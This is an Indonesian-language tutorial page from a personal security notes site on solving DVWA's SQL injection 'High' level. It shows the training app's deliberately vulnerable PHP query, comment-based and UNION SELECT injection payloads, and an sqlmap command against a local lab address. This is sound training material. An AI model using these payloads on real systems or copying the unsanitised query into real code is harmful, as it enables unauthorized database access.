📃
Anggi's Notes
  • Tentang Penulis
  • Preambule
  • Tutorial Red Team Area (General)
    • Tutorial Setup VirtualBox
    • Tutorial Setup Kali Linux pada VirtualBox
    • Network Adapter Type pada Virtual Box
    • Tutorial Port Forwarding Pada Virtual Box
    • Mempercepat update/upgrade/install Kali Linux
    • Networking in a Nutshell
    • Linux in A Nutshell
    • Linux Command Intro
    • VA-PT Cheatsheet
    • Penetration Testing Guide & Checklist
    • Pentesting Web checklist
    • NMAP Cheatsheet
    • Bind vs Reverse Shell Concept
    • Reverse Shell Cheatsheet
    • Linux TTY Shell Cheat Sheet
    • Menaikkan Common Shell ke Meterpreter
    • Metasploit Cheatsheet
      • msfvenom
      • searchploit
    • Metasploitable-2
    • Metasploitable-3
    • Linux Privilege Escalation
      • Linux Privilege Escalation with Misconfigured /etc/passwd
      • Linux Privilege Escalation with SUID
      • Linux Privilege Escalation with Misconfigured Sudo
      • Linux Privilege Escalation with MSF
    • DVWA
      • Brute Force
        • Low
        • Medium
        • High
      • Command Injection
        • Low
        • Medium
        • High
      • Local File Inclusion
        • Low
        • Medium
        • High
      • File Upload Vulnerability
        • Low
        • Medium
        • High
      • Cross Site Scripting (XSS)
        • Reflected
          • Low
          • Medium
          • High
        • Stored
          • Low
          • Medium
          • High
        • DOM
          • Low
          • Medium
          • High
      • SQL Injection
        • Non Blind
          • Low
          • Medium
          • High
        • Blind
          • Low
          • Medium
          • High
      • CSRF
        • Low
        • Medium
        • High
    • Pentesting Report Sample
    • Tutorial Penggunaan ZAP
    • Windows VA/Audit
      • DetExploit
      • HardeningKitty
      • Tutorial Installasi OWASP ZAP pada Windows OS
    • Linux VA/Audit dengan Lynis
    • Mobile Security Framework (MobSF) Windows Docker
  • Tutorial Red Team Area (Teknik Windows Attack )
    • Reconnaissance Techniques
    • Windows Red Team Exploitation Techniques
    • Windows Red Team Defense Evasion Techniques
  • Tutorial Blue Team Area
    • Merancang SOC
    • IR Playbook
    • Blue Team Opensource Online Tools
    • Wireshark Query Cheatsheet
  • Temuan Celah Keamanan
    • LFI (Directory Traversal) di redacted.co.id
    • Kredensial Database dan Azure Leaks pada redacted.com
    • HTML Injection di Tokopedia
    • 🤪4300$ Bounty from Opensource automate recon tools, why not?
    • I hacked Mastercard 4 times? But How?
    • LFI dan RCE di aset redacted.com
    • FTPd DOS di aset redacted.co.id
    • Gitlab SSRF di redacted.com
    • Firebase Android database Takeover
    • RCE di 11 Subdomain Dell
    • SSRF di redacted.com
    • Reflected XSS di CelticPipes
    • Git Disclosure di redacted.co.id
    • Open Redirection+XSS pada Private Program Bugcrowd
    • Rails Debug Mode Enabled pada redacted.com
Powered by GitBook
On this page
  • Mencari Informasi
  • Melakukan Serangan
  • Menggunakan SQLMap

Was this helpful?

  1. Tutorial Red Team Area (General)
  2. DVWA
  3. SQL Injection
  4. Non Blind

High

SQL Injection level High on DVWA

Di bawah ini adalah source-code dari SQL Injection level high di DVWA.

vulnerabilities/sqli/source/high.php
<?php
​
if( isset( $_SESSION [ 'id' ] ) ) {
    // Get input
    $id = $_SESSION[ 'id' ];
​
    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );
​
    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // Get values
        $first = $row["first_name"];
        $last  = $row["last_name"];
​
        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }
​
    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);        
}
​
?>

Mencari Informasi

Jika kita mencoba memasukkan kutip ', terdapat pesan error (tetapi pesan error ini, pesan yang telah developer tentukan).

Coba perhatikan source code-nya, kali ini tidak terdapat pengecekan spesial karakter dan terdapat LIMIT yang membuat hanya 1 record yang tampil. Sehingga jika kita kembali menggunakan payload berikut, tetap yang muncul hanyalah 1 record.

%' '0' = '0

Untuk mengatasi LIMIT ini, saya menemukan suatu cara, yaitu membuat query LIMIT ini menjadi komentar dengan menggunakan karakter #.

Melakukan Serangan

Setelah mengumpulkan informasi, kita akan mulai melakukan SQL Injection dengan payload seperti berikut:

%' '0' = '0' #

Sehingga query yang server jalankan adalah seperti berikut:

SELECT first_name, last_name FROM users WHERE user_id = '%' '0' = '0' #' LIMIT 1;

Mudah dimengerti bukan?😊

Kita juga bisa mendapatkan informasi tentang versi DBMS yang digunakan dengan payload berikut:

1 ' UNION SELECT null, version() #

Yup! Setelah ini kalian bisa explore lebih lanjut ya.

Pada level ini saya tidak bisa menggunakan SQLMap. Sepertinya SQLMap kebingungan, karena kita menggunakan halaman session-input.php untuk melakukan inputan, sedangkan hasilnya berada pada index.php.

Menggunakan SQLMap

UPDATE!!! Gunakan perintah berikut lalu jalankan:

sqlmap -u "http://172.17.0.2/vulnerabilities/sqli/?id=1" --cookie="PHPSESSID=lred0jr6na1vmci2o8160sb5ff; security=high" --dbs

Tetap semangat! Happy Hacking! 🍻

PreviousMediumNextBlind

Last updated 3 years ago

Was this helpful?

Pada level ini terdapat perbedaan tentang cara melakukan inputan. Sekarang form inputan berada di halaman session-input.php (lalu nilanya dijadikan ) dan hasilnya akan ditampilkan di halaman index.php.

session